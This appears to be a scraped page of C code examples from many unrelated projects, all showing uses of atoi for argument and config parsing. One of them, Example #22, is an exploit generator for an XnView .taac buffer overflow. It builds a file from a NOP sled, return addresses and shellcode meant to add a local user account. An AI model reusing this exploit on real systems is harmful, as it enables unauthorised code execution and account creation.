Example #1
0
File: cnwy.c Project: wrren/conway
int main( int argc, char** argv )
{
	if( argc < 4 )
	{
		printf( "Usage:\n\tcnwy <fps> <cols> <rows>\n" );
	}

	int fps 	= atoi( argv[1] );
	int cols 	= atoi( argv[2] );
	int rows 	= atoi( argv[3] );

	float wait 	= ( 60.0 / ( double ) fps );

	conway c = conway_init( cols, rows, 1000 );
	conway_ui ui = ui_init( cols, rows );

	while( true )
	{
		conway_tick( c );
		ui_render( ui, conway_get_grid( c ) );
		sleep( wait );
	}

	return EXIT_SUCCESS;
}
int main(int argc, char *argv[]) {
    pthread_t *threads, *thread_courant;
    donnees_thread_t donnees_thread;
    int i, nb_lecteurs, nb_redacteurs;
    void *resultat;

    if (argc < 4) {
        fprintf(stderr, "Utilisation: %s nb_lecteurs nb_redacteurs "
                        "nb_iterations\n", argv[0]);
        exit(1);
    }

    nb_lecteurs = atoi(argv[1]);
    nb_redacteurs = atoi(argv[2]);
    donnees_thread.iterations = atoi(argv[3]);

    threads = malloc((nb_lecteurs+nb_redacteurs)*sizeof(pthread_t));
    thread_courant = threads;
    donnees_thread.lecteur_redacteur = lectred_init();

    for (i=0; i<nb_lecteurs; i++)
        pthread_create(thread_courant++, NULL, lecteur, &donnees_thread);
    for (i=0; i<nb_redacteurs; i++)
        pthread_create(thread_courant++, NULL, redacteur, &donnees_thread);

    for (i=0; i<nb_lecteurs+nb_redacteurs; i++)
        pthread_join(threads[i], &resultat);
    lectred_destroy(donnees_thread.lecteur_redacteur);
    free(threads);
    return 0;
}
Example #3
0
gid_t getgroup(const char *group)
{
	struct group *gr;
	gid_t gid;

	if (!strlen(group)) {
		return getgid();
	}

	if (isnumeric(group)) {
		gid = atoi(group);
		gr = getgrgid(gid);
	} else {
		gr = getgrnam(group);
	}

	if (gr == NULL) {
		printf("Error: No such group: \"%s\".\n", group);
		exit(EXIT_FAILURE);
	}

	gid = gr->gr_gid;

	if (debug)
		printf("getgroup(%s / %d): %s (%d)\n", group, atoi(group), gr->gr_name, (int)gid);

	return gid;
}
Example #4
0
/* Convert a string like "2-4;8;16-"
 * in an array {2, 4, 8, 8, 16, maxnotes, -1}
 */
static void notes_parse(int dl[], char *s)
{
  int i = 0;
  int idl = 0;

  do {
    while (s[i] == ';')
      i++;
    if (s[i]) {
      if (s[i] == '-')
        dl[idl] = 1;
      else
        dl[idl] = atoi(s + i);
      idl++;
      while ((s[i]) && (s[i] != '-') && (s[i] != ';'))
        i++;
      if (s[i] == '-') {
        dl[idl] = atoi(s + i + 1);      /* Will be 0 if not a number */
        if (dl[idl] == 0)
          dl[idl] = maxnotes;
      } else
        dl[idl] = dl[idl - 1];
      idl++;
      while ((s[i]) && (s[i] != ';'))
        i++;
    }
  }
  while ((s[i]) && (idl < 124));
  dl[idl] = -1;
}
Example #5
0
////////////////////////////  Normal functions //////////////////////////
//Func: argv_handler
//Determine what flag is being called from argv
//flags = [t | n | p | v | c | q ]
void argv_handler(int argc, char **argv, int *flags){
	char c;
	char *str;
	for(int i = 0; i < 6; ++i){
		flags[i] = 0;
	}
	while((c = getopt(argc, argv, "t:n:p:cqv"))!= -1){
		//FIXME: getopt causing me problem
		switch(c){
			case 't':
				str = optarg;
				flags[0] = atoi(str);
				break;
			case 'n':
				str = optarg;
				flags[1] = atoi(str);
				break;
			case 'p':
				str = optarg;
				flags[2] = atoi(str);
				break;
			case 'v':
				flags[3] = 1;
				break;
			case 'c':
				flags[4] = 1;
				break;
			case 'q':
				flags[5] = 1;
				break;
			case '?':
				if(optopt == 't' || optopt =='n' || optopt =='p')
					fprintf(stderr,"-%c requires an argument.\n",optopt);
				else
					fprintf(stderr,"Unknown option character -%c\n",optopt);
				return ;
			default:
				abort();
		}
	}
	if(flags[0] == 0 || flags[1] == 0 || flags[2] == 0){
		printf(YC"Error: Insufficient information\n"NC);
		printf(YC"Ex: ./sieve -t [time intev] -n [#obj] -p [#threads] [-cqv]\n"NC);
		exit(EXIT_FAILURE);
	}

	if(flags[0] <= 0 || flags[1] <= 0 || flags[2] <= 0){
		printf(YC"Error: #thread, #astr, #thread must not be a negative number\n"NC);
		printf(YC"Ex: ./sieve -t [time intev] -n [#obj] -p [#threads] [-cqv]\n"NC);
		exit(EXIT_FAILURE);
	}


	if(flags[2] > flags[1]){
		printf(YC"A number of particle must not be less than a number of threads\n"NC);
		exit(EXIT_FAILURE);

	}

}
Example #6
0
/*
* KeyDown
*/
static void KeyDown( kbutton_t *b )
{
	int k;
	char *c;

	c = Cmd_Argv( 1 );
	if( c[0] )
		k = atoi( c );
	else
		k = -1; // typed manually at the console for continuous down

	if( k == b->down[0] || k == b->down[1] )
		return; // repeating key

	if( !b->down[0] )
		b->down[0] = k;
	else if( !b->down[1] )
		b->down[1] = k;
	else
	{
		Com_Printf( "Three keys down for a button!\n" );
		return;
	}

	if( b->state & 1 )
		return; // still down

	// save timestamp
	c = Cmd_Argv( 2 );
	b->downtime = atoi( c );
	if( !b->downtime )
		b->downtime = sys_frame_time - 100;

	b->state |= 1 + 2; // down + impulse down
}
int main(int argc, char **argv)
{
    jmp_buf env;
    int sj;
    int i, j, k, l;

    if (argc != 5) {
        fprintf(stderr, "usage: sj2 i j k l\n");
        return -1;
    }

    sj = setjmp(env);
    if (sj != 0) {
        printf("Error -- bad value of i (%d), j (%d), k (%d), l (%d)\n", 
                i, j, k, l);
        return -1;
    }

    i = atoi(argv[1]);
    j = atoi(argv[2]);
    k = atoi(argv[3]);
    l = atoi(argv[4]);

    printf("proc_1(%d, %d, %d, %d) = %d\n", i, j, k, l, proc_1(env, i, j, k, l));

    return 0;
}
Example #8
0
/*
===============
G_InitBots
===============
*/
void G_InitBots( qboolean restart ) {
	int			fragLimit;
	int			timeLimit;
	const char	*arenainfo;
	char		*strValue;
	int			basedelay;
	char		map[MAX_QPATH];
	char		serverinfo[MAX_INFO_STRING];

	G_LoadBots();
	G_LoadArenas();

	trap_Cvar_Register( &bot_minplayers, "bot_minplayers", "0", CVAR_SERVERINFO );


	// leilei - additional ones
	trap_Cvar_Register( &bot_minplayersTime, "bot_minplayersTime", "10", CVAR_SERVERINFO );

	if( g_gametype.integer == GT_SINGLE_PLAYER ) {
		trap_GetServerinfo( serverinfo, sizeof(serverinfo) );
		Q_strncpyz( map, Info_ValueForKey( serverinfo, "mapname" ), sizeof(map) );
		arenainfo = G_GetArenaInfoByMap( map );
		if ( !arenainfo ) {
			return;
		}

		strValue = Info_ValueForKey( arenainfo, "fraglimit" );
		fragLimit = atoi( strValue );
		if ( fragLimit ) {
			trap_Cvar_Set( "fraglimit", strValue );
		}
		else {
			trap_Cvar_Set( "fraglimit", "0" );
		}

		strValue = Info_ValueForKey( arenainfo, "timelimit" );
		timeLimit = atoi( strValue );
		if ( timeLimit ) {
			trap_Cvar_Set( "timelimit", strValue );
		}
		else {
			trap_Cvar_Set( "timelimit", "0" );
		}

		if ( !fragLimit && !timeLimit ) {
			trap_Cvar_Set( "fraglimit", "10" );
			trap_Cvar_Set( "timelimit", "0" );
		}

		basedelay = BOT_BEGIN_DELAY_BASE;
		strValue = Info_ValueForKey( arenainfo, "special" );
		if( Q_stricmp( strValue, "training" ) == 0 ) {
			basedelay += 10000;
		}

		if( !restart ) {
			G_SpawnBots( Info_ValueForKey( arenainfo, "bots" ), basedelay );
		}
	}
}
Example #9
0
char CParser::ExtractEntry(CGeneralInfo& tempinfo)
{
    char c;
    std::string fieldname = extractQuotedPrefix(mfilestream);
    c = getnextnonwhite(mfilestream);
    if(c!=':') throw parseerror::missing_colon;
    if("backgroundfile" == fieldname)
    {
        tempinfo.backgroundfile = filenames::imagepath+extractQuotedPrefix(mfilestream);
    }
    else if("castlefile" == fieldname)
    {
        tempinfo.castlefile = filenames::imagepath+extractQuotedPrefix(mfilestream);
    }
    else if("castlewidth" == fieldname)
    {
        tempinfo.castlewidth = atoi(extractNumber(mfilestream).c_str());
    }
    else if("castleheight" == fieldname)
    {
        tempinfo.castleheight = atoi(extractNumber(mfilestream).c_str());
    }
    else if("startingmoney" == fieldname)
    {
        tempinfo.startingmoney = atoi(extractNumber(mfilestream).c_str());
    }
    else throw parseerror::wrong_fieldname;

    c = getnextnonwhite(mfilestream);
    return c;
}
Example #10
0
static struct tm *
parse_date_elements(const char *day, const char *month, const char *year,
	const char *time, const char *zone)
{
    static struct tm tm;
    char *t;
    memset(&tm, 0, sizeof(tm));

    if (!day || !month || !year || !time)
	return NULL;
    tm.tm_mday = atoi(day);
    tm.tm_mon = make_month(month);
    if (tm.tm_mon < 0)
	return NULL;
    tm.tm_year = atoi(year);
    if (strlen(year) == 4)
	tm.tm_year -= 1900;
    else if (tm.tm_year < 70)
	tm.tm_year += 100;
    else if (tm.tm_year > 19000)
	tm.tm_year -= 19000;
    tm.tm_hour = make_num(time);
    t = strchr(time, ':');
    if (!t)
	return NULL;
    t++;
    tm.tm_min = atoi(t);
    t = strchr(t, ':');
    if (t)
	tm.tm_sec = atoi(t + 1);
    return tmSaneValues(&tm) ? &tm : NULL;
}
int main(int argc,char *argv[])
{
int b1=atoi(argv[1]),b2=atoi(argv[2]);

char a[100];
strcpy(a,argv[3]);
int y=0,ctr1=1;
 for(y=0;y<strlen(a);y++)
 {
   if(a[y]!='0')
   ctr1=0;
 }
 if(ctr1==1)
 {
  printf("0");
  return 0;
 }

 int crrct=check_it_all(a,b1);
 if(!crrct)
 {
   printf("0");
   return 0;
 }
 else if(crrct)
    {
      if(b1==16)
       dec_to_all(hex_to_dec(a),b2);
      else
       dec_to_all(oth_to_dec(a,b1),b2);
    }
return 0;
}
Example #12
0
/**
 * Preenche uma lista encadeada com os usuários lidos de um arquivo.
 * @param  end   Endereço do arquivo a ser lido.
 * @return       Endereço da lista encadeada inicializada (ou NULL)
 */
Lista *Arquivo_LerListaDeUsuarios(char *end, int num_filmes){
    FILE *arq = fopen(end, "r");
    if (arq == NULL)
        return NULL;

    char buffer[BUFFER_USUARIO_TAM]; // Buffer de leitura

    Lista *lista = Lista_Inicializar();

    // fgets retorna NULL em EOF
    while (fgets(buffer, BUFFER_USUARIO_TAM - 1, arq)){
        char *pch = strtok(buffer, " ");
        int user_id = atoi(pch);

        BitString *assistidos = BitString_Inicializar(num_filmes);
        // Preenche a bitstring de filmes assistidos
        while ((pch = strtok(NULL, " "))){
            BitString_DefinirBit(assistidos, atoi(pch), 1);
        }

        Usuario *usuario = Usuario_Inicializar(user_id, assistidos);
        Lista_AdicionarAoFinal(lista, usuario);
    }

    fclose(arq);
    return lista;
}
Example #13
0
/**
 * Preenche uma lista encadeada com os filmes lidos de um arquivo. Ordena a
 * lista em ordem crescente por movie_id.
 * @param  end   Endereço do arquivo a ser lido.
 * @return       Endereço da lista encadeada inicializada (ou NULL)
 */
Lista *Arquivo_LerListaDeFilmes(char *end){
    FILE *arq = fopen(end, "r");
    if (arq == NULL)
        return NULL;

    // Buffers de leitura
    char buffer[BUFFER_FILME_TAM], titulo[BUFFER_TITULO_TAM];
    Filme *filme;
    int movie_id, imdb_id, ano;

    Lista *lista = Lista_Inicializar();

    // fgets retorna NULL em EOF
    while (fgets(buffer, BUFFER_FILME_TAM - 1, arq) != NULL){
        movie_id = atoi(strtok(buffer, "\t"));
        strcpy(titulo, strtok(NULL, "\t"));
        imdb_id = atoi(strtok(NULL, "\t"));
        ano = atoi(strtok(NULL, "\t"));

        filme = Filme_Inicializar(movie_id, titulo, imdb_id, ano);
        Lista_AdicionarAoFinal(lista, (void *)filme);
    }

    fclose(arq);

    OrdenarListaDeFilmes(lista);

    return lista;
}
Example #14
0
int main(int argc, char **argv)
{

  int NX,NY,NZ;
  MPI_Init (&argc, &argv);
  int nprocs, procid;
  MPI_Comm_rank(MPI_COMM_WORLD, &procid);
  MPI_Comm_size(MPI_COMM_WORLD, &nprocs);

  /* Parsing Inputs  */
  if(argc==1){
    NX=256;NY=256;NZ=256;
  }
  else{
    NX=atoi(argv[1]); NY=atoi(argv[2]); NZ=atoi(argv[3]);
  }
  int N[3]={NX,NY,NZ};

  int nthreads=1;
  grad(N,nthreads);

  laplace(N,nthreads);

  divergence(N,nthreads);

  biharmonic(N,nthreads);

  MPI_Finalize();
  return 0;
} // end main
Example #15
0
int main(int argc, char *argv[]) {
    if (argc < 4) {
        printf("not enough args\n");
        exit(1);
    }
    signal(SIGINT, sighandler);
    atexit(cleanup);
    srand(time(NULL));;
    planes_num = atoi(argv[1]);
    n = atoi(argv[2]);
    k = atoi(argv[3]);
    thread_ids = malloc(planes_num * sizeof(pthread_t));
    planes = malloc(planes_num * sizeof(struct plane));

    pthread_mutex_init(&mtx, NULL);
    pthread_cond_init(&starting, NULL);
    pthread_cond_init(&landing, NULL);

    sigset_t mask;
    sigset_t old;
    sigfillset(&mask);
    pthread_sigmask(SIG_SETMASK, &mask, &old);

    for (int i = 0; i < planes_num; i++) {
        planes[i].id = i;
        planes[i].alive = 1;
        if (pthread_create(&thread_ids[i], NULL, thread_func, &planes[i]) != 0)
            exit(1);
    }
    pthread_sigmask(SIG_SETMASK, &old, NULL);

    while (1) {
        pause();
    }
}
Example #16
0
static int
processCompressOptions(char* opt)
{
    if (streq(opt, "none"))
        compression = COMPRESSION_NONE;
    else if (streq(opt, "packbits"))
        compression = COMPRESSION_PACKBITS;
    else if (strneq(opt, "jpeg", 4)) {
        char* cp = strchr(opt, ':');
        if (cp && isdigit(cp[1]))
            quality = atoi(cp+1);
        if (cp && strchr(cp, 'r'))
            jpegcolormode = JPEGCOLORMODE_RAW;
        compression = COMPRESSION_JPEG;
    } else if (strneq(opt, "lzw", 3)) {
        char* cp = strchr(opt, ':');
        if (cp)
            predictor = atoi(cp+1);
        compression = COMPRESSION_LZW;
    } else if (strneq(opt, "zip", 3)) {
        char* cp = strchr(opt, ':');
        if (cp)
            predictor = atoi(cp+1);
        compression = COMPRESSION_DEFLATE;
    } else
        return (0);
    return (1);
}
Example #17
0
File: bat.c Project: gabeg805/Atlas
// Return the battery charge level
static int get_charge() {
    
    // Initialize file handler
    FILE *handle;
    
    // Get contents of NOW file
    handle = fopen(CHARGE_NOW_FILE, "r");
    char charge_now[10];
    fgets(charge_now, sizeof(charge_now), handle);    
    fclose(handle);
    
    // Get contents of FULL file
    handle = fopen(CHARGE_FULL_FILE, "r");
    char charge_full[10];
    fgets(charge_full, sizeof(charge_full), handle);    
    fclose(handle);
    
    // Get contents of STATUS file
    handle = fopen(CHARGE_STATUS_FILE, "r");
    char charge_status[10];
    fgets(charge_status, sizeof(charge_status), handle);    
    fclose(handle);
    
    // Calculate charge
    int charge;
    if ( strcmp(charge_status, "Charging\n") == 0 ) 
        charge = -1;
    else {
        int now = atoi(charge_now);
        int full = atoi(charge_full);
        charge = 100.0f * now / full;
    }
    
    return charge;
}    
Example #18
0
/**
 * @brief Update the GUI with the selected item
 */
static void INV_UpdateObject_f (void)
{
	/* check syntax */
	if (Cmd_Argc() < 3) {
		Com_Printf("Usage: %s <objectid> <confunc> [mustwechangetab]\n", Cmd_Argv(0));
		return;
	}

	bool changeTab = true;
	if (Cmd_Argc() == 4)
		changeTab = atoi(Cmd_Argv(3)) >= 1;

	const int num = atoi(Cmd_Argv(1));
	if (num < 0 || num >= csi.numODs) {
		Com_Printf("Id %i out of range 0..%i\n", num, csi.numODs);
		return;
	}
	const objDef_t* obj = INVSH_GetItemByIDX(num);

	/* update tab */
	if (changeTab) {
		const cvar_t* var = Cvar_FindVar("mn_equiptype");
		const int filter = INV_GetFilterFromItem(obj);
		if (var && var->integer != filter) {
			Cvar_SetValue("mn_equiptype", filter);
			UI_ExecuteConfunc("%s", Cmd_Argv(2));
		}
	}

	/* update item description */
	INV_ItemDescription(obj);
}
void set_data (unsigned char g_in, unsigned char m_in, unsigned char a_in)
{
unsigned char temp;
itoa(g_in,16);//ritorna valore dentro stringa.. m ke skifo di funzione ki l'ha fatta???????
temp=atoi(stringa);

i2c_stop();
i2c_start();
if (i2c_outbyte(0xd0)==0){i2c_stop();}
i2c_outbyte(4);
i2c_outbyte(temp);
i2c_stop();
i2c_start();

itoa(m_in,16);//ritorna valore dentro stringa.. m ke skifo di funzione ki l'ha fatta???????
temp=atoi(stringa);
i2c_stop();
i2c_start();
if (i2c_outbyte(0xd0)==0){i2c_stop();}
i2c_outbyte(5);
i2c_outbyte(temp);
i2c_stop();
i2c_start();

itoa(g_in,16);//ritorna valore dentro stringa.. m ke skifo di funzione ki l'ha fatta???????
temp=atoi(stringa);
i2c_stop();
i2c_start();
if (i2c_outbyte(0xd0)==0){i2c_stop();}
i2c_outbyte(6);
i2c_outbyte(temp);
i2c_stop();
i2c_start();
}
Example #20
0
/* parse numeric genre from string, version 2.2 and 2.3 */
static int parsegenre( struct mp3entry* entry, char* tag, int bufferpos )
{
    /* Use bufferpos to hold current position in entry->id3v2buf. */
    bufferpos = tag - entry->id3v2buf;

    if(entry->id3version >= ID3_VER_2_4) {
        /* In version 2.4 and up, there are no parentheses, and the genre frame
           is a list of strings, either numbers or text. */

        /* Is it a number? */
        if(isdigit(tag[0])) {
            entry->genre_string = id3_get_num_genre(atoi( tag ));
            return bufferpos;
        } else {
            entry->genre_string = tag;
            return bufferpos + strlen(tag) + 1;
        }
    } else {
        if( tag[0] == '(' && tag[1] != '(' ) {
            entry->genre_string = id3_get_num_genre(atoi( tag + 1 ));
            return bufferpos;
        }
        else {
            entry->genre_string = tag;
            return bufferpos + strlen(tag) + 1;
        }
    }
}
Example #21
0
	virtual void ParseKeyValue( void *pData, const char *pKey, const char *pValue )
	{
		if ( !strcmpi( pKey, "selfcollisions" ) )
		{
			// keys disabled by default
			Assert( atoi(pValue) == 0 );
			m_bSelfCollisions = false;
		}
		else if ( !strcmpi( pKey, "collisionpair" ) )
		{
			if ( m_bSelfCollisions )
			{
				char szToken[256];
				const char *pStr = nexttoken(szToken, pValue, ',');
				int index0 = atoi(szToken);
				nexttoken( szToken, pStr, ',' );
				int index1 = atoi(szToken);

				m_pSet->EnableCollisions( index0, index1 );
			}
			else
			{
				Assert(0);
			}
		}
	}
Example #22
0
int main(int argc, char **argv)
{
    int i;
    FILE* f;
    printf("[+] XnView 1.93.6 for Windows .taac buffer overflow\n");
    printf("[+] Discovered by Secunia : \nhttp://secunia.com/secunia_research/2008-24/advisory/\n");
    printf("[+] Coded by shinnok,greetz to escalation666.\n http://www.rstcenter.com \n");
    if ((argc!=2)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))) {
        printf("Usage: %s target\n",argv[0]);
        printf("Where target is:\n");
        printf("0: WinXP SP2\n");
        printf("1: WinXP SP3\n");
        printf("Successfull exploitation will result in the adding of user \"test\" with password \"test\".\n");
        return EXIT_SUCCESS;
    }
    for(i=0; i<256; i++) nops1[i]='\x90';
    nops1[256]='\0';
    for(i=0; i<14; i++) nops2[i]='\x90';
    nops2[20]='\0';
    if(atoi(argv[1])==0) {
        f=fopen("sploit.taac","wb");
        fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa');
        fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp2,nops2,scode,'\xa');
    } else {
        f=fopen("sploit.taac","wb");
        fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa');
        fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp3,nops2,scode,'\xa');
    }
    fclose(f);
    printf("sploit.taac created!\n");
    printf("Now open sploit.taac in XnView or browse from it to the folder containing sploit.taac.\n");
    printf("Then check with \"net user\" or from control panel for the user account test.\n");
    return EXIT_SUCCESS;
}
Example #23
0
static int
_assign_partial_auth_data (struct mu_auth_data *d, const char *key,
			   const char *val)
{
  int rc = 0;
  
  if (strcmp (key, MU_AUTH_NAME) == 0)
    rc = (d->name = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_PASSWD) == 0)
    rc = (d->passwd = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_UID) == 0)
    d->uid = atoi (val);
  else if (strcmp (key, MU_AUTH_GID) == 0)
    d->gid = atoi (val);
  else if (strcmp (key, MU_AUTH_GECOS) == 0)
    rc = (d->gecos = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_DIR) == 0)
    rc = (d->dir = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_SHELL) == 0)   
    rc = (d->shell = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_MAILBOX) == 0)
    rc = (d->mailbox = strdup (val)) ? 0 : errno;
  else if (strcmp (key, MU_AUTH_QUOTA) == 0)   
    get_quota (&d->quota, val);
  return rc;
}
Example #24
0
void CBaseTurret::KeyValue( KeyValueData *pkvd )
{
	if (FStrEq(pkvd->szKeyName, "maxsleep"))
	{
		m_flMaxWait = atof(pkvd->szValue);
		pkvd->fHandled = TRUE;
	}
	else if (FStrEq(pkvd->szKeyName, "orientation"))
	{
		m_iOrientation = atoi(pkvd->szValue);
		pkvd->fHandled = TRUE;

	}
	else if (FStrEq(pkvd->szKeyName, "searchspeed"))
	{
		m_iSearchSpeed = atoi(pkvd->szValue);
		pkvd->fHandled = TRUE;

	}
	else if (FStrEq(pkvd->szKeyName, "turnrate"))
	{
		m_iBaseTurnRate = atoi(pkvd->szValue);
		pkvd->fHandled = TRUE;
	}
	else if (FStrEq(pkvd->szKeyName, "style") ||
			 FStrEq(pkvd->szKeyName, "height") ||
			 FStrEq(pkvd->szKeyName, "value1") ||
			 FStrEq(pkvd->szKeyName, "value2") ||
			 FStrEq(pkvd->szKeyName, "value3"))
		pkvd->fHandled = TRUE;
	else
		CBaseMonster::KeyValue( pkvd );
}
Example #25
0
/*------------------------------------------------------------------------------------*/
void pv_cmdRdMCP(void)
{
	// read mcp 0|1|2 addr
	// mcpDevide: argv[2]
	// devAddress: argv[3]

s08 retS = FALSE;
u08 regValue;

	switch( atoi(argv[2] )) {
	case 0:
		retS = MCP_read( MCP0_ADDR, atoi(argv[3]), &regValue );
		break;
	case 1:
		retS = MCP_read( MCP1_ADDR, atoi(argv[3]), &regValue );
		break;
	}
	if (retS ) {
		snprintf_P( cmd_printfBuff,sizeof(cmd_printfBuff),PSTR("OK\r\n[reg 0X%03x]=[0X%03x]\r\n\0"),atoi(argv[3]),regValue);
	} else {
		snprintf_P( cmd_printfBuff,sizeof(cmd_printfBuff),PSTR("ERROR\r\n\0"));
	}
	FreeRTOS_write( &pdUART1, cmd_printfBuff, sizeof(cmd_printfBuff) );
	return;
}
Example #26
0
/*
 * nvram_wstat()
 *	Allow writing of supported stat messages
 */
void
nvram_wstat(struct msg *m, struct file *f)
{
	char *field, *val;
	int sz = 0;

	/*
	 * See if common handling code can do it
	 */
	if (do_wstat(m, &nvram_prot, f->f_flags, &field, &val) == 0) {
		return;
	}

	/*
	 * Process each kind of field we can write
	 */
	if (!strcmp(field, "gen")) {
		/*
		 * Set access-generation field
		 */
		if (val) {
			nvram_accgen = atoi(val);
		} else {
			nvram_accgen += 1;
		}
		f->f_gen = nvram_accgen;
	} else if (!strcmp(field, "size")) {
		/*
		 * Are we addressing the "all" node?  If not reject the request
		 */
		if (f->f_node != ALL_INO) {
			msg_err(m->m_sender, EINVAL);
			return;
		}

		/*
		 * Set usable NVRAM size
		 */
		if (val) {
			sz = atoi(val);
		}
		if ((sz < MIN_NVRAM_BYTES) || (sz > MAX_NVRAM_BYTES)) {
			msg_err(m->m_sender, EINVAL);
			return;
		}
		nvram_bytes = sz;
	} else {
		/*
		 * Not a field we support...
		 */
		msg_err(m->m_sender, EINVAL);
		return;
	}

	/*
	 * Return success
	 */
	m->m_buflen = m->m_nseg = m->m_arg = m->m_arg1 = 0;
	msg_reply(m->m_sender, m);
}
Example #27
0
uid_t getuser(const char *user)
{
	struct passwd *pw;
	uid_t uid;

	if (!strlen(user)) {
		return getuid();
	}

	if (isnumeric(user)) {
		uid = atoi(user);
		pw = getpwuid(uid);
	} else {
		pw = getpwnam(user);
	}

	if (pw == NULL) {
		printf("Error: No such user: \"%s\".\n", user);
		exit(EXIT_FAILURE);
	}

	uid = pw->pw_uid;

	if (debug)
		printf("getuser(%s / %d): %s (%d)\n", user, atoi(user), pw->pw_name, (int)uid);

	return uid;
}
Example #28
0
int main(int argc, char* argv[])
{
    // Check for valid input, otherwise bail with error message and return 1
    if (argc == 1 || atoi(argv[1]) < 1)
    {
        printf("You need to enter a non-negative integer.\n");
        return 1;
    }
    
    int key = atoi(argv[1]);
    
    // Ask user for plaintext
    string plainText = GetString();
    
    // Rotate the plainText over 'key' number of positions
    // if the character is an alphabet character
    for (int i = 0, len = strlen(plainText) ; i < len ; i++)
    {
        if (plainText[i] >= 'a' && plainText[i] <= 'z')
        {
            printf("%c",'a' + ((plainText[i] - 'a' + key) % 26));
        }
        else if (plainText[i] >= 'A' && plainText[i] <= 'Z')
        {
            printf("%c",'A' + ((plainText[i] - 'A' + key) % 26));
        }
        else
            printf("%c", plainText[i]);  
    }
    printf("\n");
    return 0;
}
Example #29
0
/*==========================================
 * guild_skill_tree.txt reading - from jA [Komurka]
 *------------------------------------------*/
static bool guild_read_guildskill_tree_db(char* split[], int columns, int current)
{// <skill id>,<max lv>,<req id1>,<req lv1>,<req id2>,<req lv2>,<req id3>,<req lv3>,<req id4>,<req lv4>,<req id5>,<req lv5>
	int k, id, skillid;

	skillid = atoi(split[0]);
	id = skillid - GD_SKILLBASE;

	if( id < 0 || id >= MAX_GUILDSKILL )
	{
		ShowWarning("guild_read_guildskill_tree_db: Invalid skill id %d.\n", skillid);
		return false;
	}

	guild_skill_tree[id].id = skillid;
	guild_skill_tree[id].max = atoi(split[1]);

	if( guild_skill_tree[id].id == GD_GLORYGUILD && battle_config.require_glory_guild && guild_skill_tree[id].max == 0 )
	{// enable guild's glory when required for emblems
		guild_skill_tree[id].max = 1;
	}

	for( k = 0; k < MAX_GUILD_SKILL_REQUIRE; k++ )
	{
		guild_skill_tree[id].need[k].id = atoi(split[k*2+2]);
		guild_skill_tree[id].need[k].lv = atoi(split[k*2+3]);
	}

	return true;
}
Example #30
0
tree_node_t *handler_src_dst_ip_lookup_node_from_string(gchar *node_str)
{
	tree_node_t *node;
	gchar **line_split, **src_split, **dst_split;
	struct in_addr src_addr, dst_addr;

	node = g_new0(tree_node_t, 1);

	// split up the two address/network bits pairs
	line_split = g_strsplit(node_str, "->", 2);

	// split up the src and dst addr/length
	src_split = g_strsplit(line_split[0], "/", 2);
	dst_split = g_strsplit(line_split[1], "/", 2);

	src_split[0] = g_strstrip(src_split[0]);
	src_split[1] = g_strstrip(src_split[1]);
	dst_split[0] = g_strstrip(dst_split[0]);
	dst_split[1] = g_strstrip(dst_split[1]);

	inet_aton(src_split[0], &src_addr);
	inet_aton(dst_split[0], &dst_addr);

	node->src_dst_ip.src_addr.s_addr = src_addr.s_addr;
	node->src_dst_ip.src_network_bits = atoi(src_split[1]);
	node->src_dst_ip.dst_addr.s_addr = dst_addr.s_addr;
	node->src_dst_ip.dst_network_bits = atoi(dst_split[1]);

	g_strfreev(line_split);
	g_strfreev(src_split);
	g_strfreev(dst_split);

	return node;
}